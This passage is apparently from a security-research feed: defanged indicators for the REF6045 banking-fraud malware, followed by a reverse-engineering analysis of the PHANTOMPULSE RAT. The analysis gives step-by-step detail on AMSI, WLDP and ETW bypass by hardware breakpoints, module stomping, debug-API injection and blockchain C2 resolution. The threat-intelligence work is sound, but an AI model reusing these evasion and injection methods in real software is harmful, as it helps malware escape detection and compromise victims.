| <code>https://negratomasa2026[.]online/dashboard2/logs.php</code> | url |  | Keylogger exfil endpoint |
| <code>https://negratomasa2026[.]online/a/teleavisos.txt</code> | url |  | Remote config (arbitrary PowerShell) |
| <code>https://negratomasa2026[.]online/b/listadebancos.txt</code> | url |  | Banking window-title keywords |
| <code>https://negratomasa2026[.]online/b/keysnegativas.txt</code> | url |  | Negative keyword filter config |
| <code>https://negratomasa2026[.]online/a/telekeylogger.txt</code> | url |  | Telegram keylogger credentials config |
| <code>https://negratomasa2026[.]online/b/urlsscams.txt</code> | url |  | Phishing redirect target list |
| <code>https://negratomasa2026[.]online/b/clabes.txt</code> | url |  | CLABE replacement values |
| <code>https://negratomasa2026[.]online/b/tarjetas.txt</code> | url |  | Card-number replacement values |
| <code>https://negratomasa2026[.]online/b/editor.php</code> | url |  | C2 exposed config editor |
| <code>gestionmontelavaria2026[.]online</code> | domain-name |  | REF6045 C2 |
| <code>https://gestionmontelavaria2026[.]online/dashboard2/recData.php</code> | url |  | C2 beacon POST endpoint (monteviral variant) |
| <code>https://gestionmontelavaria2026[.]online/b/editor.php</code> | url |  | C2 exposed config editor |
| <code>ssinvestigaciones[.]com</code> | domain-name |  | ClickFix post-CAPTCHA tracking endpoint |
| <code>https://ww.ssinvestigaciones[.]com/login3.php</code> | url |  | ClickFix post-CAPTCHA tracking endpoint |
| <code>bancaporinternetbbmx[.]online</code> | domain-name |  | Phishing page |
| <code>https://bancaporinternetbbmx[.]online</code> | url |  | Phishing redirect destination |
| <code>b30cb0aa977aacdab94d2ef503186c8f0b2fc10d7cf0d7c7c0ada70c127dc7e8</code> | SHA-256 | <code>zkt.zip</code> | Exposed web-root archive |
| <code>554f1aefeb698995501751328c2f9fe93f02a680679fba3dd15f1ed93d46bf1b</code> | SHA-256 | <code>validation.txt</code> | First-stage batch payload |
| <code>ff3555154e91e42490cc722b6c7f3c4c91654b7ef53a35d0719ffb89accf1b27</code> | SHA-256 | <code>run.vbs</code> | Master launcher |
| <code>526287a40aad1b218228cdd1f459ad3b93f858585048347644d597c6ab19515a</code> | SHA-256 | <code>cliente.ps1</code> | C2 beacon |
| <code>685d29ce8a550feb3a9e1d1c5926ec5e927615cf34aab62c108a812a1eb6737c</code> | SHA-256 | <code>jujuzkt.ps1</code> | Banking activity monitor |
| <code>8c87ea94401fa97d3743a87604e088d1a29c7b06cf9673623941a42da68452a6</code> | SHA-256 | <code>jujuzkt2.ps1</code> | Active browser redirect module |
| <code>6dcd7fdd5e088d98d861cbd1cb74a7b83ae5508f4dbb617413bcbe7fbc8a82e2</code> | SHA-256 | <code>mensaje1.ps1</code> | Vishing dispatcher |
| <code>4d9c160ebb44507b11f0e6421f691900284f25b5530a23d9fd50de0ae01663ca</code> | SHA-256 | <code>mensaje.ps1</code> | Hard-lock vishing overlay |
| <code>0315d4a7bc14654ad66d4c2b98920b92ca18cbc231b3ce5fba1fcac70b828e19</code> | SHA-256 | <code>mensajeoff.ps1</code> | Soft-lock vishing overlay |
| <code>5d17645548a44fe39d3cc816ffa3933321c1eb8b08a8f4348e3cd82f25112c81</code> | SHA-256 | <code>rotor1.ps1</code> | Screenshot module invoker |
| <code>566f4bfdfea54129b8528d50cae187a9030e2f2787749add4b0db22ac35ea581</code> | SHA-256 | <code>screen2.ps1</code> | Screenshot module |
| <code>882d582e85d5bb7abbdde791a2d52e3b1bb7dd7f79c20318ce64b74249221fdb</code> | SHA-256 | <code>rotor2.ps1</code> | Vishing dispatcher rotator |
| <code>eea08fbf3720d638af1d313d3ce369708b77d7891379d5c5871dd7f36667ed0c</code> | SHA-256 | <code>clip.ps1</code> | CLABE clipboard hijacker |
| <code>70140aa236d630a7d5ed08be3dafcccea9a8b0eec6dadf8c1cf1b96d8f608609</code> | SHA-256 | <code>clip2.ps1</code> | Card-number clipboard hijacker |
| <code>6c8ba7127a83431432e85946976c18bb3f3e9bf9def68aae572cd1d9d73604c7</code> | SHA-256 | <code>avs.ps1</code> | Remote Utilities downloader |
| <code>81a4512db985359ed361755da58a1177b07632b5aee951c68a6ace54f4d0534b</code> | SHA-256 | <code>instaler.ps1</code> | Remote Utilities installer launcher |
| <code>3d9015429d65276869ceb9c91f10d6474b1098042db75949c49b9f1682c1f3ae</code> | SHA-256 | <code>remoto.ps1</code> | Remote Utilities configurator |
| <code>5bc85b604eb37ffa1e67c57f4744b55ef876a1ab442e2a2440550ef0922aeec7</code> | SHA-256 | <code>correr.ps1</code> | Arbitrary PowerShell executor |
| <code>30ff24faad80184bb43660a8bd317df99a8d09d31bae3b446aaa876543f2620f</code> | SHA-256 | <code>key.ps1</code> | Telegram-backed keylogger |
| <code>4b7b35b921d7615b7a82a42c379560d1b0c5a74c81311a269874195ba2744f2d</code> | SHA-256 | <code>cursor2.exe</code> | Invisible-cursor utility |
| <code>5c7ab9e90b05804d07e9d803f85462bc1a44d0726256bad28219984ee2b5772f</code> | SHA-256 | <code>cursor2.exe</code> | Invisible cursor resource dropped by cursor2.exe |
| <code>32d981b3e7c36aa7030cfd9ee412bff742e00b36c39c80634b2681f89de4a487</code> | SHA-256 | <code>hosts.msi</code> | Remote Utilities installer |
| <code>cd7b179dd98848a02b9a1d4ebfeee26cdbb317b4ad53eb50786e18515b0cf804</code> | SHA-256 | <code>ini.ps1</code> | Delayed launcher |
| <code>345e8a90b7b762b065333cd068811d88086d157be713d89bdf200c927645f3d8</code> | SHA-256 | <code>remo.ps1</code> | IP-gated launcher |
| <code>0ec9b518f84b6bdc0e843b89fa755522ec67db862414ad16bdcaa8c2be25485c</code> | SHA-256 | <code>edifhjwe.ps1</code> | Self-updater |
| <code>26f906a2a4276b1968a8ce956a7b342aa9bc26f60d32c14668223877f569fb3f</code> | SHA-256 | <code>rotor.ps1</code> | Keylogger rotator |
| <code>13bfd0f695cea1d6ae570a7ca056ffe930467be73a26f29f95209618f383bd2d</code> | SHA-256 | <code>4.bat</code> | Early version of run.vbs |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/mexican-banking-fraud-scmbanker-ref6045</link>
    <guid isPermaLink="false">mexican-banking-fraud-scmbanker-ref6045</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Jia Yu Chan,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt761bf2d9ab147af5/6a7c8aeac33f4f3f36d54ba6/mexican-banking-fraud-scmbanker-ref6045.webp" length="0" type="image/webp"/>
    <pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[PHANTOMPULSE: anatomy of a hijackable blockchain-C2 RAT]]></title>
    <description><![CDATA[Elastic Security Labs presents a detailed reverse-engineering analysis of PHANTOMPULSE, the long-lived RAT delivered to crypto-sector victims through the REF6598 intrusion set.]]></description>
    <content:encoded><![CDATA[<p>Elastic Security Labs's prior coverage of <a href="https://www.elastic.co/security-labs/phantom-in-the-vault">REF6598</a> documented an intrusion set whose Windows toolchain landed via Obsidian plugin abuse, escalated via an in-memory PE loader (PHANTOMPULL), and finished with a RAT (PHANTOMPULSE). That post focused on delivery. This post analyzes the final stage: PHANTOMPULSE, an implant that ships three process-injection techniques, resolves its C2 through Ethereum/Base/Optimism transaction inputs, and bypasses UAC via the public <code>schuac</code> technique. The analysis surfaces a sinkhole-able blockchain C2 channel, a unified hardware-breakpoint primitive that disables AMSI / WLDP / ETW and pervasive AI-assisted-development fingerprints in the implant's debug strings.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>PHANTOMPULSE implements three injection techniques adapted from recent public offensive-security PoCs.</li>
<li>AMSI, WLDP, and ETW are bypassed via a single shared HWBP primitive  </li>
<li>The blockchain C2 resolver has <strong>no sender verification</strong>, allowing a defender to override the C2 URL for every implant by posting a single transaction  </li>
<li>Strong AI-assisted-development indicators present in the binary</li>
</ul>
<h2 id="anoteonaiassisteddevelopment">A note on AI-assisted development</h2>
<p>PHANTOMPULSE bears strong fingerprints of AI coding assistance, visible throughout the debug strings.</p>
<p>The clearest tells:</p>
<ul>
<li><strong>Structured step numbering</strong> in operational logs: <code>[STEP 1] Staged mode — payload downloaded from C2 at runtime</code>, <code>[STEP 1/3] Scheduled Task (DotNetSvcUpdateTask, logon + every 3 min)</code>, <code>[STEP 2/3] Boot Task (DotNetSvcCoreTask, INTERACTIVE_TOKEN + BootTrigger)</code>, <code>[UNINSTALL 4/6] Removing persist_loader DLL + registry PE data...</code>, <code>[REPAIR] Reinstalling boot task (INTERACTIVE_TOKEN)...</code>.  </li>
<li><strong>ENTER/DONE function tracing</strong>: <code>"[HEIS] encrypt_text_only ENTER"</code> / <code>"[HEIS] encrypt_text_only DONE"</code>, <code>"KeylogResolveAPIs: ENTER"</code>. The diagnostic style LLMs default to when generating new functions.  </li>
<li><strong>Verbose diagnostics</strong>: <code>"FindHostProcessEx: scan stats: total=%lu sessSkip=%lu openFail=%lu native=%lu wow64=%lu mapReject=%lu dbgReject=%lu sess=%lu"</code>, <code>"ManualMap: thread hijacked and resumed — DLL injection via thread hijack complete"</code>. Self-explanatory output, unusually talkative for malware.  </li>
<li><strong>Em dashes in C strings</strong>: <code>"elevate: FAIL — no deployed DLL path"</code>, <code>"&gt;&gt;&gt; .elevate: NOT proxy — spawning trusted host to handle elevation"</code>.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29d8e4422794b827/6a7c79b99f5251faa1663f3a/image26.png" alt="AI generated strings in the binary" title="AI generated strings in the binary" /></p>
<h2 id="executionchain">Execution chain</h2>
<p><code>MainEntryLogic</code> is the orchestration function that runs the full initialization sequence before entering the C2 loop:</p>
<pre><code>start
 └─ WinMain
     └─ MainEntryLogic
         1. DynInit                // Bootstrap API resolution
         2. ElevationStateCheck    // ".elevate" marker detection, routes by token elevation state
         3. SingleInstanceCheck    // XOR-decrypted mutex, exit if already running
         4. EvasionInit            // Direct syscalls + ETW HWBP
         5. SyscallResolverInit    // CPUID + hash-based kernel32 resolution
         6. SleepMaskInit          // Sleep obfuscation setup
         7. ComputeMachineID       // DJB2(module name) ^ volume serial
         8. IsRunningHollowed      // Process hollowing self-check
         9. CollectSysInfo         // CPU, GPU, RAM, OS, AV, apps
        10. FilelessPersist        // Drop stub DLL, registry artifact
        11. InstallPersistence     // Three scheduled tasks via COM ITaskService
        12. C2Loop_Init → C2Loop_Main
</code></pre>
<p>At startup, the implant DJB2-hashes the user name and computer name and looks each up in a precomputed table. A match exits the process. Brute-forcing the table against public anti-sandbox wordlists recovered 20 of the 61 entries: <code>WDAGUtilityAccount</code> (Windows Defender Application Guard), several <code>DESKTOP-XXXXXXX</code> default-VM names, and the <a href="https://gist.github.com/0x-Apollyon/04b30400b51136a19c739a8ec4dc95d5">Joe Sandbox personas</a> (<code>abby</code>, <code>patex</code>, <code>george</code>, <code>john</code>, <code>lisa</code>, <code>frank</code>, <code>RDhJ0CNFevzX</code>).</p>
<h2 id="defenseevasion">Defense evasion</h2>
<h3 id="directsyscallsandapiwrappers">Direct syscalls and API wrappers</h3>
<p>PHANTOMPULSE resolves ntdll functions by walking <code>PEB→Ldr</code> with DJB2 hashes, extracts System Service Numbers (SSNs) from each NT function's prologue, and builds private syscall stubs. These stubs are wrapped in higher-level helpers used throughout the rest of the implant:</p>
<ul>
<li><code>NtCreateFile_Wrap</code>  </li>
<li><code>NtWriteFile_Wrap</code>  </li>
<li><code>NtClose_Wrap</code>  </li>
<li><code>NtCreateSection_Wrap</code>  </li>
<li><code>NtMapViewOfSection_Wrap</code>  </li>
<li><code>NtProtectVirtualMemory_Wrap</code>  </li>
<li><code>NtWriteVirtualMemory_Wrap</code></li>
</ul>
<p>The rest of the implant calls these wrappers instead of <code>kernel32</code>/<code>ntdll</code> exports, defeating user-mode <code>ntdll</code> hooks (IAT replacements, inline detours, or trampoline patches) that EDR products inject into the documented API surface.</p>
<p>A single helper function routes every disk write through <code>NtCreateFile</code> + <code>NtWriteFile</code> directly, with delete-and-retry on access errors.</p>
<h3 id="stringandconfigobfuscation">String and config obfuscation</h3>
<p>PHANTOMPULSE uses four XOR layers for different artifacts:</p>
<p>| What | Key | Where the key lives |
| ----- | ----- | ----- |
| C2 fallback URL, mutex, drop-path filenames | 16-byte: <code>F7 7C 8E 40 DF C1 7B E5 E7 4D 86 79 D5 B3 53 41</code> | Embedded in <code>.rdata</code> |
| Blockchain provider hostnames (UTF-16 LE) | 8-byte: <code>5A 3C 7E 1D 9F 2B 4E 8A</code> | Embedded in <code>.rdata</code> |
| COM Elevation Moniker, keylog file payload | <code>0xE95CA237</code>, computed at runtime to keep the constant out of <code>.rdata</code> | Computed, not stored |
| C2 URL pulled from blockchain transaction <code>input</code> | The resolver wallet address itself | Reused from the public lookup key |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0095e3fcd07551e0/6a7c79bc96b5a6e3a4875470/image13.png" alt="String dexoring stub" title="String dexoring stub" /></p>
<h3 id="amsiwldpandetwbypassviahardwarebreakpoints">AMSI, WLDP, and ETW bypass via hardware breakpoints</h3>
<p>PHANTOMPULSE disables AMSI, the Windows Lockdown Policy code-trust check, and ETW telemetry through a single shared primitive: a hardware breakpoint planted on each API entry, intercepted by a vectored exception handler that fakes the return value without inline patching.</p>
<p>| Slot | Target API | Spoofed return (RAX) |
| ----- | ----- | ----- |
| DR0 | <code>WldpQueryDynamicCodeTrust</code> | <code>0</code> (<code>S_OK</code>) |
| DR1 | <code>AmsiScanBuffer</code> | <code>0x80070057</code> (<code>E_INVALIDARG</code>) |
| DR2 | <code>EtwEventWrite</code> | <code>0</code> (<code>STATUS_SUCCESS</code>) |</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7d87d620122ec033/6a7c79bfbdcff027fcc3cfab/image22.png" alt="Hardware breakpoint setup function" title="Hardware breakpoint setup function" /></p>
<p>The mechanism, step by step:</p>
<ol>
<li>The implant resolves the target API. AMSI and WLDP go through <code>LoadLibraryA</code> + hash-based export lookup; ETW uses a PEB→Ldr walk since ntdll is already loaded.  </li>
<li>The HWBP descriptor (target API address, mode, spoofed return value) is written into one of four 40-byte slots in a global slot table.</li>
<li>A helper thread suspends the target thread, calls <code>NtGetContextThread</code> / <code>NtSetContextThread</code> to write DR0–DR3 + DR7, then resumes. (If the implant's vectored exception handler is already installed, an in-process <code>STATUS_BREAKPOINT</code> is raised instead, letting the VEH read the slot table and program the DRs without a helper thread.)  </li>
<li>When the protected API is called, the CPU raises <code>Debug Exception</code> on the function's first instruction.  </li>
<li>The implant's vectored exception handler intercepts the <code>Debug Exception</code>, walks its 4-slot table to find the firing address, and modifies the thread context: <code>CONTEXT.Rax</code> is set to the per-slot spoofed return value, <code>CONTEXT.Rip</code> is redirected to a pre-stored "skip" thunk that returns to the caller.  </li>
<li>The handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code>. The caller sees the spoofed RAX as if the API had run.</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8a575368304959c4/6a7c79c1da3d052349633c56/image11.png" alt="Exception handler: BREAKPOINT STATUS" title="Exception handler: BREAKPOINT STATUS" /></p>
<p>The dispatcher serves two paths. One handler (<code>VEH_Dispatcher</code>) processes both the implant's own <code>RaiseException(STATUS_BREAKPOINT)</code> calls (used to seed and re-program the DR registers from the slot table) and the <code>STATUS_SINGLE_STEP</code> exceptions that fire when a protected API is called. The exception code drives the branch: <code>STATUS_BREAKPOINT</code> triggers DR programming, <code>STATUS_SINGLE_STEP</code> triggers the spoof.</p>
<p>The handler is also not registered directly. <code>AddVectoredExceptionHandler</code> receives a tiny JMP thunk allocated at runtime in a fresh <code>MEM_PRIVATE</code> page (<code>VirtualAlloc</code> + <code>VirtualProtect</code> to <code>PAGE_EXECUTE_READ</code>). The thunk is a <code>JMP [RIP-relative]</code> indirect jump (6-byte opcode <code>FF 25 00 00 00 00</code>) followed inline by the dispatcher's address. Because no bytes are ever written to <code>AmsiScanBuffer</code>, <code>WldpQueryDynamicCodeTrust</code>, or <code>EtwEventWrite</code>, signature-based detection that scans for prologue patches misses this entirely. </p>
<h3 id="buildvariantactiveanddormantsubsystems">Build variant: active and dormant subsystems</h3>
<p>Several subsystems exist in the binary as code or strings, but are not active in this build. This is a stripped-down build of a larger codebase.</p>
<ul>
<li><strong>NTDLL unhooking</strong>: Debug strings for an unhooking subsystem live in <code>.rdata</code> (<code>UnhookNtdll: ntdll base = %p</code>, <code>applied %d relocation fixups to .text</code>), but nothing references them. Dead in this variant.  </li>
<li><strong>Registry-resident PE blob loader</strong>: earlier builds stored the next-stage PE inside the registry. This build does not, but the uninstall routine still cleans up the legacy registry blob.  </li>
<li><strong>COM hijack persistence</strong>: never installed by this build. Cleanup logic for it remains in the uninstall routine.  </li>
<li><strong>Print monitor persistence</strong>: same pattern as COM hijack; install path absent, uninstall path retained.</li>
</ul>
<p>The last three (registry blob loader, COM hijack, print monitor) show the opposite pattern: cleanup logic with no install logic, retained for backward compatibility against older deployments.</p>
<p>| Feature | payloads build | Evidence |
| ----- | ----- | ----- |
| Direct syscalls (SSN extraction) | Active | SSN extraction + stub generation confirmed |
| AMSI / WLDP / ETW HWBP bypass | Active | <code>DR0</code>/<code>DR1</code>/<code>DR2</code> via shared helper-thread primitive |
| Three-way process injection | Active | <code>PhantomInject</code>, <code>DbgNexum</code>, <code>ManualMap</code> are all functional |
| Blockchain C2 resolution | Active | Three Blockscout providers queried |
| NTDLL unhooking | <strong>Dead code</strong> | Strings present, zero code references |
| HEIS encryption | <strong>Disabled</strong> | Code encrypt/decrypt stubbed |
| Registry-resident PE blob loader | <strong>Legacy only</strong> | Only cleaned during uninstall |
| COM hijack persistence | Legacy only | Cleaned during uninstall, never installed |
| Print monitor persistence | Legacy only | Cleaned during uninstall, never installed |
| Decoy strings | Active | 4 unreferenced decoy strings in <code>.rdata</code> |</p>
<h2 id="commandandcontrol">Command and control</h2>
<h3 id="blockchainc2resolution">Blockchain C2 resolution</h3>
<p>PHANTOMPULSE decentralizes C2 lookup through three Blockscout providers:</p>
<ul>
<li><code>eth.blockscout[.]com</code> (Ethereum L1)  </li>
<li><code>base.blockscout[.]com</code> (Base L2)  </li>
<li><code>optimism.blockscout[.]com</code> (Optimism L2)</li>
</ul>
<p>The wallet address <code>0xc117688c530b660e15085bF3A2B664117d8672aA</code> is XOR-decrypted from storage with a 16-byte key. For each provider, the implant issues an HTTPS GET (port 443, SSL cert errors ignored), pulls the <code>input</code> field of the latest transaction, hex-decodes it, XOR-decrypts with the wallet address bytes as the key, and validates that the result begins with <code>http</code>. On total failure, it falls back to the hardcoded URL <code>https://panel.fefea22134[.]net</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7e5eae2c507f11e/6a7c79c480ee38778860d088/image16.png" alt="C2 dexoring/decoding validation part 1" title="C2 dexoring/decoding validation part 1" /></p>
<p>The resolver does not verify the sender of the transaction. It only checks that the latest decoded <code>input</code> starts with <code>http</code>. Anyone can submit a transaction to that wallet with their own URL XOR-encoded under the wallet bytes, and every PHANTOMPULSE instance of that campaign that polls afterward resolves to that URL. For network defenders, this is a viable sinkhole at the cost of one transaction.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt82b8ba8304a94ae2/6a7c79c742a1170257955fbd/image24.png" alt="C2 dexoring/decoding validation part 2" title="C2 dexoring/decoding validation part 2" /></p>
<h3 id="endpointsandheartbeat">Endpoints and heartbeat</h3>
<p>Five API paths are constructed at runtime, re-encrypted in memory with a per-session key:</p>
<p>| Path | Method | Content-Type | Purpose |
| ----- | ----- | ----- | ----- |
| <code>/v1/telemetry/report</code> | POST | <code>application/json</code> | Heartbeat with full system telemetry |
| <code>/v1/telemetry/tasks/&lt;machine_id&gt;</code> | GET |  | Command fetch |
| <code>/v1/telemetry/upload/</code> | POST | <code>image/bmp</code> | Screenshot / file upload |
| <code>/v1/telemetry/result</code> | POST | <code>application/json</code> | Command result delivery |
| <code>/v1/telemetry/keylog/</code> | POST | <code>text/plain</code> | Keylog data upload |</p>
<p>The heartbeat sends a full system profile as JSON:</p>
<pre><code>{
  "machine_id": "&lt;uint32&gt;",
  "status": "online",
  "cpu": "&lt;model&gt;",
  "gpu": "&lt;description&gt;",
  "ram_mb": "&lt;uint32&gt;",
  "os": "&lt;version&gt;",
  "username": "&lt;user&gt;",
  "computer_name": "&lt;name&gt;",
  "cores": "&lt;uint32&gt;",
  "screen_w": "&lt;int&gt;",
  "screen_h": "&lt;int&gt;",
  "privilege": "&lt;user|admin|admin_nouac|system&gt;",
  "build": "payloads",
  "public_ip": "&lt;ip&gt;",
  "av_list": ["&lt;av1&gt;", "&lt;av2&gt;"],
  "apps": ["&lt;app1&gt;", "&lt;app2&gt;"],
  "last_cmd": "&lt;cmd&gt;",
  "last_cmd_result": "&lt;result&gt;"
}
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7512d05d16f0f4b/6a7c79c9c2cc091e1124329c/image12.png" alt="Building heartbeat JSON document" title="Building heartbeat JSON document" /></p>
<p>Two response fields are parsed: <code>"status":"deleted"</code> triggers full uninstall; <code>"ip":"&lt;value&gt;"</code> populates the public-IP cache, but only if local discovery (ipif[.]org / icanhazip[.]com/ checkip.amazonaws[.]com) hasn't already filled it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte82878e24c1b3e6e/6a7c79cc227b1ca6c5592595/image2.png" alt="Parsing heartbeat response" title="Parsing heartbeat response" /></p>
<h3 id="loopcadenceandresilience">Loop cadence and resilience</h3>
<ul>
<li><strong>Sleep</strong>: uniform random in [20, 40] seconds  </li>
<li><strong>Self-healing</strong>: runs at iteration 2, then every 10th iteration  </li>
<li><strong>Health-monitor tick</strong>: first call after the implant comes online, then every 5th iteration thereafter. Populates a local system-info struct (CPU%, RAM, OS version, uptime, computer name).  </li>
<li><strong>Failure threshold</strong>: 10 consecutive heartbeat failures trigger a self-restart for stuck SSL/TLS recovery  </li>
<li><strong>Re-resolution</strong>: on failure, blockchain re-resolution runs; if the resolved URL changes, the failure counter resets  </li>
<li><strong>Public IP</strong>: <code>api4.ipify[.]org</code> → <code>ipv4.icanhazip[.]com</code> → <code>checkip.amazonaws[.]com</code>  </li>
<li><strong>Connectivity check</strong>: probes <code>microsoft[.]com</code>, <code>google[.]com</code>, <code>cloudflare[.]com</code>, <code>github[.]com</code></li>
</ul>
<h2 id="commanddispatch">Command dispatch</h2>
<p>The command dispatcher routes commands by DJB2 hash. Eight commands total:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9298b63d57b5e497/6a7c79ce448e4eba7c5baa50/image25.png" alt="Command dispatch function" title="Command dispatch function" /></p>
<p>| Hash | Command | Behavior |
| ----- | ----- | ----- |
| <code>0x04CF1142</code> | <code>inject</code> | Inject shellcode/DLL/EXE. Routes by type: shellcode → <code>PhantomInject</code>; DLL → <code>ManualMap</code>; EXE → <code>DbgNexum</code>. The AMSI and WLDP HWBP bypasses are installed on the first <code>inject</code> call (the ETW HWBP is already in place from <code>EvasionInit</code>). |
| <code>0x7C95D91A</code> | <code>drop</code> | Drop the file to the disk and execute. Supports DLL, EXE, shellcode (APC injection), and MSI payloads. |
| <code>0x9A37F083</code> | <code>screenshot</code> | GDI capture, downscale to 960px wide, upload as BMP. |
| <code>0x08DEDEF0</code> | <code>keylog</code> | Start or stop the inline keylogger. |
| <code>0x4EE251FF</code> | <code>uninstall</code> | 6-step cleanup and termination. |
| <code>0x65CCC50B</code> | <code>elevate</code> | UAC bypass via the <code>schuac</code> technique (<code>IElevatedFactoryServer::ServerCreateElevatedObject(CLSID_TaskScheduler)</code>); registers a transient elevated task that relaunches the implant. |
| <code>0xB3B5B880</code> | <code>downgrade</code> | SYSTEM → elevated admin transition. |
| <code>0x20CE3BC8</code> | (self-restart) | Cascading self-terminate: <code>NtTerminateProcess(-1, 0)</code> direct syscall first; if that fails to resolve, falls back to <code>ExitProcess(0)</code>. Persistence relaunches the implant on the next scheduled task tick. Operationally equivalent to a soft restart. |</p>
<p>The eighth handler has no debug log naming it. It self-terminates; the scheduled task relaunches the implant on the next tick. The lack of LLM-style scaffolding (debug strings) makes this one of the few handlers in the binary that appears to be added by the human author rather than LLM-generated.</p>
<h2 id="injectiontechniques">Injection techniques</h2>
<p>PHANTOMPULSE ships three injection techniques, one per payload type. The <code>inject</code> C2 command routes shellcode to <code>PhantomInject</code>, DLLs to <code>ManualMap</code>, and EXEs to <code>DbgNexum</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltec468e886931eeae/6a7c79d13ce8e20085cef5d6/image6.png" alt="Inject command switch case" title="Inject command switch case" /></p>
<p>The AMSI/WLDP hardware-breakpoint bypasses are installed on the first <code>inject</code> call, before any injector runs.</p>
<p>| Payload type | Injector | Strategy |
| ----- | ----- | ----- |
| Shellcode | PhantomInject | Module stomping in <code>dbghelp.dll</code> via <code>SEC_IMAGE</code> |
| EXE | DbgNexum | Debug-API state machine |
| DLL | ManualMap | Full PE manual mapping |</p>
<h3 id="phantominjectmodulestompingintodbghelpdll">PhantomInject: module stomping into dbghelp.dll</h3>
<p>Module stomping avoids <code>MEM_PRIVATE</code> allocation by mapping a legitimate Windows DLL as <code>SEC_IMAGE</code> and overwriting <code>.text</code>:</p>
<ol>
<li><p>Acquires <code>SeDebugPrivilege</code> (via <code>OpenProcessToken</code> / <code>LookupPrivilegeValueW</code> / <code>AdjustTokenPrivileges</code>), then walks the process snapshot for one of seven host-process candidates (case-insensitive match). Tried in priority order: <code>sihost.exe</code>, <code>taskhostw.exe</code>, <code>backgroundTaskHost.exe</code>, <code>RuntimeBroker.exe</code>, <code>dllhost.exe</code>, <code>ctfmon.exe</code>, <code>explorer.exe</code>.  </p></li>
<li><p>Opens <code>dbghelp.dll</code> via <code>NtOpenFile</code>, creates <code>SEC_IMAGE</code> section, maps into target via <code>NtMapViewOfSection</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3e9d1eb62bef5a42/6a7c79d43ce8e285e6cef5da/image17.png" alt="PhantomInject dll stomping" title="PhantomInject dll stomping" />  </p></li>
<li><p>Parses the local copy for <code>.text</code> RVA and size, then frees it  </p></li>
<li><p>Selects and suspends a thread, captures context  </p></li>
<li><p>Builds an <a href="https://gist.github.com/soolidsnake/f5cc038aa919db19658dfe4430a62114"><strong>82-byte save-call-restore trampoline</strong></a>  </p></li>
<li><p>Writes shellcode + trampoline into <code>.text</code> of the mapped DLL  </p></li>
<li><p>Flips protection to <code>PAGE_EXECUTE_READ</code>  </p></li>
<li><p>Repoints RIP to the trampoline, resumes thread</p></li>
</ol>
<p>To a memory scanner, the result looks like a thread executing inside legitimate <code>dbghelp.dll</code>, a file-backed image region with the right file path, section name, and first-page hash.</p>
<h3 id="dbgnexumdebugapiasanexecutioncontroller">DbgNexum: debug API as an execution controller</h3>
<p>DbgNexum handles EXE payloads. Rather than writing executable code into the target up front, it uses the Windows debug API to drive execution one exception at a time: a ROP chain whose gadgets are full Windows APIs in the target.</p>
<p>The technique is not original to PHANTOMPULSE. It is a verbatim lift of <a href="https://github.com/dis0rder0x00/DbgNexum"><code>dis0rder0x00/DbgNexum</code></a>, a public proof of concept published on GitHub on 2026-01-04. The operator kept the published technique name (<code>"DbgNexum"</code>) in the implant's debug strings unchanged, and the inner state machine is a 1:1 match: the same bait API, section name, gadget chain, and constants. PHANTOMPULSE wraps the lifted x64 core with operational scaffolding the PoC does not have: host-process selection (<code>FindHostProcessEx</code>), a fallback that spawns a fresh <code>SysWOW64\cmd.exe</code> / <code>rundll32.exe</code> / <code>notepad.exe</code>, a custom PE-loading bootstrap (so it can carry full EXEs instead of raw shellcode), and a separate WoW64 cross-architecture variant.</p>
<p>For native x64 payloads, the implant pre-stages the PE, the bootstrap stub, and the trampoline config inside a named file-mapping section. The section name is the literal two-byte string <code>"MZ"</code>, the implant attaches with <code>DebugActiveProcess</code> and creates a remote thread on <code>FileTimeToSystemTime</code> with a hardware breakpoint on DR0.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt09c5495fdde34784/6a7c79d71967ea750c32a773/image23.png" alt="DbgNexum creates file mapping" title="DbgNexum creates file mapping" /></p>
<p>When the bait hits the breakpoint, a state machine drives the target through this API chain:</p>
<ol>
<li>Redirect <code>RIP</code> to <code>DbgBreakPoint+1</code> with the trap flag set; the resulting single-step exception bridges into the rest of the chain.  </li>
<li><code>LocalAlloc(LMEM_ZEROINIT, 3)</code>, allocate the 3-byte name buffer.  </li>
<li><code>memcpy(buf, kernel32_base, 2)</code>, copy <code>"MZ"</code> from <code>kernel32.dll</code>'s DOS header into the buffer.  </li>
<li><code>memset(stack+40, 0, 8)</code>: zero a stack arg slot.  </li>
<li><code>OpenFileMappingA(0x1F, FALSE, "MZ")</code>, open the prepared section with full section-mapping access.  </li>
<li><code>MapViewOfFile(...)</code>,  map it into the target.  </li>
<li>Redirect <code>RIP</code> to <code>mapped_base + 0x400</code>, the bootstrap stub. This is the only stage logged directly: <code>DbgNexumLoop64: stage 6 -&gt; stub at %llx, base=%llx</code>. (The PoC redirects to <code>mapped_base + 0</code> for raw shellcode; PHANTOMPULSE adds the <code>+0x400</code> offset to land on its custom PE loader.)</li>
</ol>
